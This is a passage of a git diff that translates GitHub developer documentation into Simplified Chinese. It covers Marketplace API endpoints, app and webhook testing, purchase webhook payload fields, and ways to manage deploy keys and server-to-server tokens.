+++ b/translations/zh-CN/content/developers/github-marketplace/using-the-github-marketplace-api-in-your-app/rest-endpoints-for-the-github-marketplace-api.md
@@ -1,6 +1,6 @@
 ---
-title: REST endpoints for the GitHub Marketplace API
-intro: 'To help manage your app on {% data variables.product.prodname_marketplace %}, use these {% data variables.product.prodname_marketplace %} API endpoints.'
+title: GitHub Marketplace API 的 REST 端点
+intro: '要帮助管理 {% data variables.product.prodname_marketplace %} 上的应用程序，请使用这些 {% data variables.product.prodname_marketplace %} API 端点。'
 redirect_from:
   - /apps/marketplace/github-marketplace-api-endpoints
   - /apps/marketplace/integrating-with-the-github-marketplace-api/github-marketplace-rest-api-endpoints
@@ -13,20 +13,21 @@ topics:
   - Marketplace
 shortTitle: REST API
 ---
-Here are some useful endpoints available for Marketplace listings:
 
-* [List plans](/rest/reference/apps#list-plans)
-* [List accounts for a plan](/rest/reference/apps#list-accounts-for-a-plan)
-* [Get a subscription plan for an account](/rest/reference/apps#get-a-subscription-plan-for-an-account)
-* [List subscriptions for the authenticated user](/rest/reference/apps#list-subscriptions-for-the-authenticated-user)
+以下是一些可用于 Marketplace 上架产品的有用端点：
 
-See these pages for details on how to authenticate when using the {% data variables.product.prodname_marketplace %} API:
+* [列出计划](/rest/reference/apps#list-plans)
+* [列出计划的帐户](/rest/reference/apps#list-accounts-for-a-plan)
+* [获取帐户的订阅计划](/rest/reference/apps#get-a-subscription-plan-for-an-account)
+* [列出经验证用户的订阅](/rest/reference/apps#list-subscriptions-for-the-authenticated-user)
 
-* [Authorization options for OAuth Apps](/apps/building-oauth-apps/authorizing-oauth-apps/)
-* [Authentication options for GitHub Apps](/apps/building-github-apps/authenticating-with-github-apps/)
+有关在使用 {% data variables.product.prodname_marketplace %} API 时如何进行身份验证的详细信息，请参阅以下页面：
+
+* [OAuth 应用程序的授权选项](/apps/building-oauth-apps/authorizing-oauth-apps/)
+* [GitHub 应用程序的身份验证选项](/apps/building-github-apps/authenticating-with-github-apps/)
 
 {% note %}
 
-**Note:** [Rate limits for the REST API](/rest#rate-limiting) apply to all {% data variables.product.prodname_marketplace %} API endpoints.
+**注：**[REST API 的速率限制](/rest#rate-limiting)适用于所有 {% data variables.product.prodname_marketplace %} API 端点。
 
 {% endnote %}
diff --git a/translations/zh-CN/content/developers/github-marketplace/using-the-github-marketplace-api-in-your-app/testing-your-app.md b/translations/zh-CN/content/developers/github-marketplace/using-the-github-marketplace-api-in-your-app/testing-your-app.md
index 537d8fe792..7abf129921 100644
--- a/translations/zh-CN/content/developers/github-marketplace/using-the-github-marketplace-api-in-your-app/testing-your-app.md
+++ b/translations/zh-CN/content/developers/github-marketplace/using-the-github-marketplace-api-in-your-app/testing-your-app.md
@@ -1,6 +1,6 @@
 ---
-title: Testing your app
-intro: 'GitHub recommends testing your app with APIs and webhooks before submitting your listing to {% data variables.product.prodname_marketplace %} so you can provide an ideal experience for customers. Before an onboarding expert approves your app, it must adequately handle the billing flows.'
+title: 测试应用程序
+intro: 'GitHub 建议在将上架信息提交到 {% data variables.product.prodname_marketplace %} 之前，先使用 API 和 web 挂钩测试您的应用，以便为客户提供理想的体验。 在上架专家批准您的应用程序之前，它必须能够完全处理帐单流程。'
 redirect_from:
   - /apps/marketplace/testing-apps-apis-and-webhooks
   - /apps/marketplace/integrating-with-the-github-marketplace-api/testing-github-marketplace-apps
@@ -12,34 +12,35 @@ versions:
 topics:
   - Marketplace
 ---
-## Testing apps
 
-You can use a draft {% data variables.product.prodname_marketplace %} listing to simulate each of the billing flows. A listing in the draft state means that it has not been submitted for approval. Any purchases you make using a draft {% data variables.product.prodname_marketplace %} listing will _not_ create real transactions, and GitHub will not charge your credit card. Note that you can only simulate purchases for plans published in the draft listing and not for draft plans. For more information, see "[Drafting a listing for your app](/developers/github-marketplace/drafting-a-listing-for-your-app)" and "[Using the {% data variables.product.prodname_marketplace %} API in your app](/developers/github-marketplace/using-the-github-marketplace-api-in-your-app)."
+## 测试应用程序
 
-### Using a development app with a draft listing to test changes
+您可以使用 {% data variables.product.prodname_marketplace %} 上架草稿来模拟每个帐单流程。 上架信息处于草稿状态意味着它尚未提交以供审批。 使用 {% data variables.product.prodname_marketplace %} 上架草稿进行的任何购买都_不会_产生真正的交易，GitHub 不会从您的信用卡中扣款。 请注意，您只能模拟在列表草案中公布的计划的购买情况，而不能模拟计划草案中的购买情况。 更多信息请参阅“[起草应用程序上架信息](/developers/github-marketplace/drafting-a-listing-for-your-app)”和“[在应用程序中使用 {% data variables.product.prodname_marketplace %} API](/developers/github-marketplace/using-the-github-marketplace-api-in-your-app)”。
 
-A {% data variables.product.prodname_marketplace %} listing can only be associated with a single app registration, and each app can only access its own {% data variables.product.prodname_marketplace %} listing. For these reasons, we recommend configuring a separate development app, with the same configuration as your production app, and creating a _draft_ {% data variables.product.prodname_marketplace %} listing that you can use for testing. The draft {% data variables.product.prodname_marketplace %} listing allows you to test changes without affecting the active users of your production app. You will never have to submit your development {% data variables.product.prodname_marketplace %} listing, since you will only use it for testing.
+### 使用带有上架草稿的开发应用程序来测试更改
 
-Because you can only create draft {% data variables.product.prodname_marketplace %} listings for public apps, you must make your development app public. Public apps are not discoverable outside of published {% data variables.product.prodname_marketplace %} listings as long as you don't share the app's URL. A Marketplace listing in the draft state is only visible to the app's owner.
+{% data variables.product.prodname_marketplace %} 上架信息只能与单个应用程序注册相关联，并且每个应用程序只能访问它自己的 {% data variables.product.prodname_marketplace %} 上架信息。 出于这些原因，我们建议配置一个与生产应用程序配置相同的单独开发应用程序，并创建可用于测试的 {% data variables.product.prodname_marketplace %} 上架_草稿_。 {% data variables.product.prodname_marketplace %} 草稿允许您测试更改而不影响生产应用程序的活动用户。 您无需提交开发 {% data variables.product.prodname_marketplace %} 上架信息，因为它仅用于测试。
 
-Once you have a development app with a draft listing, you can use it to test changes you make to your app while integrating with the {% data variables.product.prodname_marketplace %} API and webhooks.
+由于只能为公共应用程序创建 {% data variables.product.prodname_marketplace %} 上架草稿，因此您必须将开发应用程序设为公共。 公共应用程序不会在已发布的 {% data variables.product.prodname_marketplace %} 上架信息之外被发现，只要您不分享该应用程序的 URL。 处于草稿状态的 Marketplace 上架信息仅对应用程序的所有者可见。
+
+一旦有了带有上架草稿的开发应用程序，就可以在与 {% data variables.product.prodname_marketplace %} API 和 web 挂钩集成的同时，使用它来测试您对应用程序所做的更改。
 
 {% warning %}
 
-Do not make test purchases with an app that is live in {% data variables.product.prodname_marketplace %}.
+不要使用 {% data variables.product.prodname_marketplace %} 中上线的应用程序来测试购买。
 
 {% endwarning %}
 
-### Simulating Marketplace purchase events
+### 模拟 Marketplace 购买事件
 
-Your testing scenarios may require setting up listing plans that offer free trials and switching between free and paid subscriptions. Because downgrades and cancellations don't take effect until the next billing cycle, GitHub provides a developer-only feature to "Apply Pending Change" to force `changed` and `cancelled` plan actions to take effect immediately. You can access **Apply Pending Change** for apps with _draft_ Marketplace listings in https://github.com/settings/billing#pending-cycle:
+您的测试场景可能需要设置可提供免费试用并且可在免费和付费订阅之间切换的上架计划。 由于降级和取消要到下一个结算周期才会生效，因此 GitHub 提供一个开发者专用功能“应用待处理更改”，以强制 `changed` 和 `cancelled` 计划操作立即生效。 您可以在 https://github.com/settings/billing#pending-cycle 中对带有 Marketplace 上架_草稿_的应用程序使用 **Apply Pending Change（应用待处理更改）**：
 
-![Apply pending change](/assets/images/github-apps/github-apps-apply-pending-changes.png)
+![应用待处理更改](/assets/images/github-apps/github-apps-apply-pending-changes.png)
 
-## Testing APIs
+## 测试 API
 
-For most {% data variables.product.prodname_marketplace %} API endpoints, we also provide stubbed API endpoints that return hard-coded, fake data you can use for testing. To receive stubbed data, you must specify stubbed URLs, which include `/stubbed` in the route (for example, `/user/marketplace_purchases/stubbed`). For a list of endpoints that support this stubbed-data approach, see [{% data variables.product.prodname_marketplace %} endpoints](/rest/reference/apps#github-marketplace).
+对于大多数 {% data variables.product.prodname_marketplace %} API 端点，我们还提供存根 API 端点，它们返回可用于测试的硬编码假数据。 要接收存根数据，您必须指定存根 URL，其路由中包括 `/stubbed`（例如，`/user/marketplace_purchases/stubbed`）。 有关支持此存根数据方法的端点列表，请参阅 [{% data variables.product.prodname_marketplace %} 端点](/rest/reference/apps#github-marketplace)。
 
-## Testing webhooks
+## 测试 web 挂钩
 
-GitHub provides tools for testing your deployed payloads. For more information, see "[Testing webhooks](/webhooks/testing/)."
+GitHub 提供用于测试已部署有效负载的工具。 更多信息请参阅“[测试 web 挂钩](/webhooks/testing/)”。
diff --git a/translations/zh-CN/content/developers/github-marketplace/using-the-github-marketplace-api-in-your-app/webhook-events-for-the-github-marketplace-api.md b/translations/zh-CN/content/developers/github-marketplace/using-the-github-marketplace-api-in-your-app/webhook-events-for-the-github-marketplace-api.md
index eb0ffba0ac..74f8884633 100644
--- a/translations/zh-CN/content/developers/github-marketplace/using-the-github-marketplace-api-in-your-app/webhook-events-for-the-github-marketplace-api.md
+++ b/translations/zh-CN/content/developers/github-marketplace/using-the-github-marketplace-api-in-your-app/webhook-events-for-the-github-marketplace-api.md
@@ -1,6 +1,6 @@
 ---
-title: Webhook events for the GitHub Marketplace API
-intro: 'A {% data variables.product.prodname_marketplace %} app receives information about changes to a user''s plan from the Marketplace purchase event webhook. A Marketplace purchase event is triggered when a user purchases, cancels, or changes their payment plan.'
+title: GitHub Marketplace API 的 web 挂钩事件
+intro: '{% data variables.product.prodname_marketplace %} app 从 Marketplace 购买事件 web 挂钩接收有关用户计划更改的信息。 当用户购买、取消或更改其付款计划时，就会触发 Marketplace 购买事件。'
 redirect_from:
   - /apps/marketplace/setting-up-github-marketplace-webhooks/about-webhook-payloads-for-a-github-marketplace-listing
   - /apps/marketplace/integrating-with-the-github-marketplace-api/github-marketplace-webhook-events
@@ -11,65 +11,66 @@ versions:
   ghec: '*'
 topics:
   - Marketplace
-shortTitle: Webhook events
+shortTitle: Web 挂钩事件
 ---
-## {% data variables.product.prodname_marketplace %} purchase webhook payload
 
-Webhooks `POST` requests have special headers. See "[Webhook delivery headers](/webhooks/event-payloads/#delivery-headers)" for more details. GitHub doesn't resend failed delivery attempts. Ensure your app can receive all webhook payloads sent by GitHub.
+## {% data variables.product.prodname_marketplace %} 购买 web 挂钩有效负载
 
-Cancellations and downgrades take effect on the first day of the next billing cycle. Events for downgrades and cancellations are sent when the new plan takes effect at the beginning of the next billing cycle. Events for new purchases and upgrades begin immediately. Use the `effective_date` in the webhook payload to determine when a change will begin.
+Web 挂钩 `POST` 请求具有特殊标头。 有关详细信息，请参阅“[web 挂钩递送标头](/webhooks/event-payloads/#delivery-headers)”。 GitHub 不会重新发送失败的递送尝试。 确保您的应用程序可以接收 GitHub 发送的所有 web 挂钩有效负载。
+
+取消和降级在下一个结算周期的第一天生效。 如果新计划在下一个结算周期开始时生效，则将发送降级和取消事件。 新的购买和升级事件会立即生效。 使用 web 挂钩有效负载中的 `effective_date` 可确定更改何时开始生效。
 
 {% data reusables.marketplace.marketplace-malicious-behavior %}
 
-Each `marketplace_purchase` webhook payload will have the following information:
+每个 `marketplace_purchase` web 挂钩有效负载都含有以下信息：
 
 
-Key | Type | Description
-----|------|-------------
-`action` | `string` | The action performed to generate the webhook. Can be `purchased`, `cancelled`, `pending_change`, `pending_change_cancelled`, or `changed`. For more information, see the example webhook payloads below. **Note:** The `pending_change` and `pending_change_cancelled` payloads contain the same keys as shown in the [`changed` payload example](#example-webhook-payload-for-a-changed-event).
-`effective_date` | `string` | The date the `action` becomes effective.
-`sender` | `object` | The person who took the `action` that triggered the webhook.
-`marketplace_purchase` | `object` | The {% data variables.product.prodname_marketplace %} purchase information.
+| 键                      | 类型    | 描述                                                                                                                                                                                                                                                                    |
+| ---------------------- | ----- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| `action`               | `字符串` | 为生成 web 挂钩而执行的操作。 可以是 `purchased`、`cancelled`、`pending_change`、`pending_change_cancelled` 或 `changed`。 更多信息请参阅下面的 web 挂钩有效负载示例。 **注：**`pending_change` 和 `pending_change_cancelled` 有效负载包含与 [`changed` 有效负载示例](#example-webhook-payload-for-a-changed-event)中所示键相同的键。 |
+| `effective_date`       | `字符串` | `action` 开始生效的日期。                                                                                                                                                                                                                                                     |
+| `sender`               | `对象`  | 执行 `action` 触发 web 挂钩的人。                                                                                                                                                                                                                                              |
+| `marketplace_purchase` | `对象`  | {% data variables.product.prodname_marketplace %} 购买信息。                                                                                                                                                                                                               |
 
-The `marketplace_purchase` object has the following keys:
+`marketplace_purchase` 对象含有以下键：
 
-Key | Type | Description
-----|------|-------------
-`account` | `object` | The `organization` or `user` account associated with the subscription. Organization accounts will include `organization_billing_email`, which is the organization's administrative email address. To find email addresses for personal accounts, you can use the [Get the authenticated user](/rest/reference/users#get-the-authenticated-user) endpoint.
-`billing_cycle` | `string` | Can be `yearly` or `monthly`. When the `account` owner has a free GitHub plan and has purchased a free {% data variables.product.prodname_marketplace %} plan, `billing_cycle` will be `nil`.
-`unit_count`  | `integer` | Number of units purchased.
-`on_free_trial` | `boolean` | `true` when the `account` is on a free trial.
-`free_trial_ends_on` | `string` | The date the free trial will expire.
-`next_billing_date` | `string` | The date that the next billing cycle will start. When the `account` owner has a free GitHub.com plan and has purchased a free {% data variables.product.prodname_marketplace %} plan, `next_billing_date` will be `nil`.
-`plan` | `object` | The plan purchased by the `user` or `organization`.
+| 键                    | 类型    | 描述                                                                                                                                                                             |
+| -------------------- | ----- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ |
+| `帐户`                 | `对象`  | 与订阅关联的 `organization` 或 `user` 帐户。 组织帐户将包含 `Organization_billing_email`, 这是组织的行政电子邮件地址。 要查找个人帐户的电子邮件地址，您可以使用[获取经过身份验证的用户](/rest/reference/users#get-the-authenticated-user)端点。 |
+| `billing_cycle`      | `字符串` | 可以是 `yearly` 或 `monthly`。 如果 `account` 所有者拥有免费 GitHub 计划并且购买了免费 {% data variables.product.prodname_marketplace %} 计划，则 `billing_cycle` 将为 `nil`。                               |
+| `unit_count`         | `整数`  | 购买的单位数。                                                                                                                                                                        |
+| `on_free_trial`      | `布尔值` | 当 `account` 处于免费试用期时，该值为 `true`。                                                                                                                                               |
+| `free_trial_ends_on` | `字符串` | 免费试用到期日期。                                                                                                                                                                      |
+| `next_billing_date`  | `字符串` | 下一个结算周期开始日期。 如果 `account` 所有者拥有免费 GitHub.com 计划并且购买了免费 {% data variables.product.prodname_marketplace %} 计划，则 `next_billing_date` 将为 `nil`。                                    |
+| `plan`               | `对象`  | `user` 或 `organization` 购买的计划。                                                                                                                                                 |
 
-The `plan` object has the following keys:
+`plan` 对象含有以下键：
 
-Key | Type | Description
-----|------|-------------
-`id` | `integer` | The unique identifier for this plan.
-`name` | `string` | The plan's name.
-`description` | `string` | This plan's description.
-`monthly_price_in_cents` | `integer` | The monthly price of this plan in cents (US currency). For example, a listing that costs 10 US dollars per month will be 1000 cents.
-`yearly_price_in_cents` | `integer` | The yearly price of this plan in cents (US currency). For example, a listing that costs 100 US dollars per month will be 10000 cents.
-`price_model` | `string` | The pricing model for this listing. Can be one of `flat-rate`, `per-unit`, or `free`.
-`has_free_trial` | `boolean` | `true` when this listing offers a free trial.
-`unit_name` | `string` | The name of the unit. If the pricing model is not `per-unit` this will be `nil`.
-`bullet` | `array of strings` | The names of the bullets set in the pricing plan.
+| 键                        | 类型      | 描述                                                 |
+| ------------------------ | ------- | -------------------------------------------------- |
+| `id`                     | `整数`    | 此计划的唯一标识符。                                         |
+| `name`                   | `字符串`   | 计划的名称。                                             |
+| `说明`                     | `字符串`   | 此计划的说明。                                            |
+| `monthly_price_in_cents` | `整数`    | 此计划的每月价格（以美分为单位）。 例如，每月费用 10 美元的商品将显示价格 1000 美分。   |
+| `yearly_price_in_cents`  | `整数`    | 此计划的每年价格（以美分为单位）。 例如，每月费用 100 美元的商品将显示价格 10000 美分。 |
+| `price_model`            | `字符串`   | 此商品的定价模型。 可以是 `flat-rate`、`per-unit` 或 `free` 之一。  |
+| `has_free_trial`         | `布尔值`   | 当此商品提供免费试用时，该值为 `true`。                            |
+| `unit_name`              | `字符串`   | 单位的名称。 如果定价模型不是 `per-unit`，则该值为 `nil`。             |
+| `bullet`                 | `字符串数组` | 定价计划中设置的项目符号的名称。                                   |
 
 <br/>
 
-### Example webhook payload for a `purchased` event
-This example provides the `purchased` event payload.
+### `purchased` 事件的 web 挂钩有效负载示例
+此示例提供 `purchased` 事件有效负载。
 
 {{ webhookPayloadsForCurrentVersion.marketplace_purchase.purchased }}
 
-### Example webhook payload for a `changed` event
+### `changed` 事件的 web 挂钩有效负载示例
 
-Changes in a plan include upgrades and downgrades. This example represents the `changed`,`pending_change`, and `pending_change_cancelled` event payloads. The action identifies which of these three events has occurred.
+计划中的更改包括升级和降级。 此示例表示 `changed`、`pending_change` 和 `pending_change_cancelled` 事件有效负载。 该操作标识这三个事件中发生了哪一个。
 
 {{ webhookPayloadsForCurrentVersion.marketplace_purchase.changed }}
 
-### Example webhook payload for a `cancelled` event
+### `cancelled` 事件的 web 挂钩有效负载示例
 
 {{ webhookPayloadsForCurrentVersion.marketplace_purchase.cancelled }}
diff --git a/translations/zh-CN/content/developers/overview/managing-deploy-keys.md b/translations/zh-CN/content/developers/overview/managing-deploy-keys.md
index 6d51247d42..569c67a9fc 100644
--- a/translations/zh-CN/content/developers/overview/managing-deploy-keys.md
+++ b/translations/zh-CN/content/developers/overview/managing-deploy-keys.md
@@ -1,6 +1,6 @@
 ---
-title: Managing deploy keys
-intro: Learn different ways to manage SSH keys on your servers when you automate deployment scripts and which way is best for you.
+title: 管理部署密钥
+intro: 了解在自动化部署脚本时管理服务器上的 SSH 密钥的不同方法，以及哪种方法最适合您。
 redirect_from:
   - /guides/managing-deploy-keys
   - /v3/guides/managing-deploy-keys
@@ -14,85 +14,84 @@ topics:
 ---
 
 
-You can manage SSH keys on your servers when automating deployment scripts using SSH agent forwarding, HTTPS with OAuth tokens, deploy keys, or machine users.
+在自动执行部署脚本时，您可以使用 SSH 代理转发、HTTPS 结合 OAuth 令牌、部署密钥或机器用户来管理服务器上的 SSH 密钥。
 
-## SSH agent forwarding
+## SSH 代理转发
 
-In many cases, especially in the beginning of a project, SSH agent forwarding is the quickest and simplest method to use. Agent forwarding uses the same SSH keys that your local development computer uses.
+在许多情况下，尤其是在项目开始时，SSH 代理转发是最快和最简单的方法。 代理转发与本地开发计算机使用相同的 SSH 密钥。
 
-#### Pros
+#### 优点
 
-* You do not have to generate or keep track of any new keys.
-* There is no key management; users have the same permissions on the server that they do locally.
-* No keys are stored on the server, so in case the server is compromised, you don't need to hunt down and remove the compromised keys.
+* 无需生成或跟踪任何新密钥。
+* 没有密钥管理；用户在服务器上具有与本地相同的权限。
+* 服务器上没有存储密钥，因此，万一服务器受到破坏，您不需要搜索并删除泄露的密钥。
 
-#### Cons
+#### 缺点
 
-* Users **must** SSH in to deploy; automated deploy processes can't be used.
-* SSH agent forwarding can be troublesome to run for Windows users.
+* 用户**必须**通过 SSH 进行部署；不能使用自动部署过程。
+* 对于 Windows 用户来说，使用 SSH 代理转发可能比较麻烦。
 
-#### Setup
+#### 设置
 
-1. Turn on agent forwarding locally. See [our guide on SSH agent forwarding][ssh-agent-forwarding] for more information.
-2. Set your deploy scripts to use agent forwarding. For example, on a bash script, enabling agent forwarding would look something like this: 
-`ssh -A serverA 'bash -s' < deploy.sh`
+1. 在本地开启代理转发。 更多信息请参阅[我们的 SSH 代理转发指南][ssh-agent-forwarding]。
+2. 将部署脚本设置为使用代理转发。 例如，在 bash 脚本中，启用代理转发如下所示：`ssh -A serverA 'bash -s' < deploy.sh`
 
-## HTTPS cloning with OAuth tokens
+## 使用 OAuth 令牌进行 HTTPS 克隆
 
-If you don't want to use SSH keys, you can use [HTTPS with OAuth tokens][git-automation].
+如果不想使用 SSH 密钥，您可以使用 [HTTPS 结合 OAuth 令牌][git-automation]。
 
-#### Pros
+#### 优点
 
-* Anyone with access to the server can deploy the repository.
-* Users don't have to change their local SSH settings.
-* Multiple tokens (one for each user) are not needed; one token per server is enough.
-* A token can be revoked at any time, turning it essentially into a one-use password.
+* 有权访问服务器的任何人都可以部署仓库。
+* 用户不必更改其本地 SSH 设置。
+* 不需要多个令牌（每个用户一个）；每个服务器一个令牌就足够了。
+* 令牌可随时撤销，本质上变成一次性密码。
 {% ifversion ghes %}
-* Generating new tokens can be easily scripted using [the OAuth API](/rest/reference/oauth-authorizations#create-a-new-authorization).
+* 可以使用 [OAuth API](/rest/reference/oauth-authorizations#create-a-new-authorization) 轻松编写生成新令牌的脚本。
 {% endif %}
 
-#### Cons
+#### 缺点
 
-* You must make sure that you configure your token with the correct access scopes.
-* Tokens are essentially passwords, and must be protected the same way.
+* 必须确保使用正确的访问范围配置令牌。
+* 令牌本质上是密码，必须以同样的方式进行保护。
 
-#### Setup
+#### 设置
 
-See [our guide on Git automation with tokens][git-automation].
+请参阅[使用令牌的 Git 自动化指南][git-automation]。
 
-## Deploy keys
+## 部署密钥
 
 {% data reusables.repositories.deploy-keys %}
 
 {% data reusables.repositories.deploy-keys-write-access %}
 
-#### Pros
+#### 优点
 
-* Anyone with access to the repository and server has the ability to deploy the project.
-* Users don't have to change their local SSH settings.
-* Deploy keys are read-only by default, but you can give them write access when adding them to a repository.
+* 有权访问仓库和服务器的任何人都能够部署项目。
+* 用户不必更改其本地 SSH 设置。
+* 默认情况下，部署密钥是只读的，但在将它们添加到仓库时，您可以授予其写入权限。
 
-#### Cons
+#### 缺点
 
-* Deploy keys only grant access to a single repository. More complex projects may have many repositories to pull to the same server.
-* Deploy keys are usually not protected by a passphrase, making the key easily accessible if the server is compromised.
+* 部署密钥只授予对单个仓库的访问权限。 较复杂的项目可能要将多个仓库拉取到同一服务器。
+* 部署密钥通常不受密码保护，因此在服务器遭到破坏时可轻松访问密钥。
 
-#### Setup
+#### 设置
 
-1. [Run the `ssh-keygen` procedure][generating-ssh-keys] on your server, and remember where you save the generated public/private rsa key pair.
-2. In the upper-right corner of any {% data variables.product.product_name %} page, click your profile photo, then click **Your profile**. ![Navigation to profile](/assets/images/profile-page.png)
-3. On your profile page, click **Repositories**, then click the name of your repository. ![Repositories link](/assets/images/repos.png)
-4. From your repository, click **Settings**. ![Repository settings](/assets/images/repo-settings.png)
-5. In the sidebar, click **Deploy Keys**, then click **Add deploy key**. ![Add Deploy Keys link](/assets/images/add-deploy-key.png)
-6. Provide a title, paste in your public key.  ![Deploy Key page](/assets/images/deploy-key.png)
-7. Select **Allow write access** if you want this key to have write access to the repository. A deploy key with write access lets a deployment push to the repository.
-8. Click **Add key**.
+1. 在服务器上[运行 `ssh-keygen` 进程][generating-ssh-keys]，并记住保存生成的公共/私有 RSA 密钥对的位置。
+2. 在 {% data variables.product.product_name %} 的右上角，单击您的个人资料照片，然后单击 **Your profile（您的个人资料）**。 ![个人资料导航](/assets/images/profile-page.png)
+3. 在个人资料页面上，单击 **Repositories（仓库）**，然后单击仓库的名称。 ![仓库链接](/assets/images/repos.png)
+4. 在仓库中，单击 **Settings（设置）**。 ![仓库设置](/assets/images/repo-settings.png)
+5. 在边栏中，单击 **Deploy Keys（部署密钥）**，然后单击 **Add deploy key（添加部署密钥）**。 ![添加部署密钥链接](/assets/images/add-deploy-key.png)
+6. 提供标题，粘贴到公钥中。  ![部署密钥页面](/assets/images/deploy-key.png)
+7. 如果希望此密钥拥有对仓库的写入权限，请选择 **Allow write access（允许写入权限）**。 具有写入权限的部署密钥允许将部署推送到仓库。
+8. 单击 **Add key（添加密钥）**。
 
-#### Using multiple repositories on one server
+#### 在一台服务器上使用多个仓库
 
-If you use multiple repositories on one server, you will need to generate a dedicated key pair for each one. You can't reuse a deploy key for multiple repositories.
+如果在一台服务器上使用多个仓库，则需要为每个仓库生成专用密钥对。 不能对多个仓库重复使用一个部署密钥。
 
-In the server's SSH configuration file (usually `~/.ssh/config`), add an alias entry for each repository. For example:
+在服务器的 SSH 配置文件（通常为 `~/.ssh/config`）中，为每个仓库添加一个别名条目。 例如：
 
 ```bash
 Host {% ifversion fpt or ghec %}github.com{% else %}my-GHE-hostname.com{% endif %}-repo-0
@@ -108,84 +107,85 @@ Host {% ifversion fpt or ghec %}github.com{% else %}my-GHE-hostname.com{% endif
 * `Hostname {% ifversion fpt or ghec %}github.com{% else %}my-GHE-hostname.com{% endif %}` - Configures the hostname to use with the alias.
 * `IdentityFile=/home/user/.ssh/repo-0_deploy_key` - Assigns a private key to the alias.
 
-You can then use the hostname's alias to interact with the repository using SSH, which will use the unique deploy key assigned to that alias. For example:
+然后可以使用主机名的别名通过 SSH 与仓库进行交互，SSH 将使用分配给该别名的唯一部署密钥。 例如：
 
 ```bash
 $ git clone git@{% ifversion fpt or ghec %}github.com{% else %}my-GHE-hostname.com{% endif %}-repo-1:OWNER/repo-1.git
 ```
 
-## Server-to-server tokens
+## 服务器到服务器令牌
 
-If your server needs to access repositories across one or more organizations, you can use a GitHub App to define the access you need, and then generate _tightly-scoped_, _server-to-server_ tokens from that GitHub App. The server-to-server tokens can be scoped to single or multiple repositories, and can have fine-grained permissions. For example, you can generate a token with read-only access to a repository's contents. 
+如果您的服务器需要访问一个或多个组织的仓库，您可以使用 GitHub 应用程序来定义您需要的访问权限，然后从该 GitHub 应用程序生成 _tightly-scoped_、_server-to-server_ 令牌。 服务器到服务器令牌可以扩展到单个或多个仓库，并且可以拥有细致的权限。 例如，您可以生成对仓库内容具有只读权限的令牌。
 
-Since GitHub Apps are a first class actor on  {% data variables.product.product_name %}, the server-to-server tokens are decoupled from any GitHub user, which makes them comparable to "service tokens". Additionally, server-to-server tokens have dedicated rate limits that scale with the size of the organizations that they act upon. For more information, see [Rate limits for Github Apps](/developers/apps/rate-limits-for-github-apps).
+由于 GitHub 应用程序是 {% data variables.product.product_name %} 上的一类角色，因此服务器到服务器令牌不限于任何 GitHub 用户，这使它们堪比“服务令牌”。 此外，服务器到服务器令牌有专门的速率限制，与它们所依据的组织规模相当。 更多信息请参阅“[GitHub 应用程序的速率限制](/developers/apps/rate-limits-for-github-apps)”。
 
-#### Pros
+#### 优点
 
-- Tightly-scoped tokens with well-defined permission sets and expiration times (1 hour, or less if revoked manually using the API).
-- Dedicated rate limits that grow with your organization.
-- Decoupled from GitHub user identities, so they do not consume any licensed seats.
-- Never granted a password, so cannot be directly signed in to.
+- 具有明确定义的权限集和到期时间的严格范围令牌（如果使用 API 手动撤销，则为 1 小时或更短时间）。
+- 随组织而增长的专用速率限制。
+- 与 GitHub 用户身份脱钩，因此他们不消耗任何许可席位。
+- 从未授予密码，因此无法直接登录。
 
-#### Cons
+#### 缺点
 
-- Additional setup is needed to create the GitHub App.
-- Server-to-server tokens expire after 1 hour, and so need to be re-generated, typically on-demand using code.
+- 创建 GitHub 应用程序需要其他设置。
+- 服务器到服务器令牌 1 小时后过期，因此需要重新生成，通常是按需使用代码。
 
-#### Setup
+#### 设置
 
-1. Determine if your GitHub App should be public or private. If your GitHub App will only act on repositories within your organization, you likely want it private.
-1. Determine the permissions your GitHub App requires, such as read-only access to repository contents.
-1. Create your GitHub App via your organization's settings page. For more information, see [Creating a GitHub App](/developers/apps/creating-a-github-app).
-1. Note your GitHub App `id`.
-1. Generate and download your GitHub App's private key, and store this safely. For more information, see [Generating a private key](/developers/apps/authenticating-with-github-apps#generating-a-private-key).
-1. Install your GitHub App on the repositories it needs to act upon, optionally you may install the GitHub App on all repositories in your organization.
-1. Identify the `installation_id` that represents the connection between your GitHub App and the organization repositories it can access.  Each GitHub App and organization pair have at most a single `installation_id`. You can identify this `installation_id` via [Get an organization installation for the authenticated app](/rest/reference/apps#get-an-organization-installation-for-the-authenticated-app). This requires authenticating as a GitHub App using a JWT, for more information see [Authenticating as a GitHub App](/developers/apps/authenticating-with-github-apps#authenticating-as-a-github-app).
-1. Generate a server-to-server token using the corresponding REST API endpoint, [Create an installation access token for an app](/rest/reference/apps#create-an-installation-access-token-for-an-app). This requires authenticating as a GitHub App using a JWT, for more information see [Authenticating as a GitHub App](/developers/apps/authenticating-with-github-apps#authenticating-as-a-github-app), and [Authenticating as an installation](/developers/apps/authenticating-with-github-apps#authenticating-as-an-installation).
-1. Use this server-to-server token to interact with your repositories, either via the REST or GraphQL APIs, or via a Git client.
+1. 确定您的 GitHub 应用程序是公开的还是私有的。 如果您的 GitHub 应用程序将仅在您组织内的仓库上操作，您可能希望它是私有的。
+1. 确定 GitHub 应用程序所需的权限，例如对仓库内容的只读访问权限。
+1. 通过组织的设置页面创建您的 GitHub 应用程序。 更多信息请参阅[创建 GitHub 应用程序](/developers/apps/creating-a-github-app)。
+1. 记下您的 GitHub 应用程序 `id`。
+1. 生成并下载 GitHub 应用程序的私钥，并妥善保管。 更多信息请参阅[生成私钥](/developers/apps/authenticating-with-github-apps#generating-a-private-key)。
+1. 将 GitHub 应用程序安装到需要执行它的仓库中，您可以在组织中的所有仓库上选择性地安装 GitHub 应用程序。
+1. 识别代表 GitHub 应用程序与它可以访问的组织仓库之间连接的 `installation_id`。  每个 GitHub 应用程序和组织对最多只有一个 `installation_id`。 您可以通过[为经过验证的应用程序获取组织安装](/rest/reference/apps#get-an-organization-installation-for-the-authenticated-app)来识别此 `installation_id`。 这需要使用 JWT 作为 GitHub 应用程序进行身份验证，更多信息请参阅[作为 GitHub 应用程序进行身份验证](/developers/apps/authenticating-with-github-apps#authenticating-as-a-github-app)。
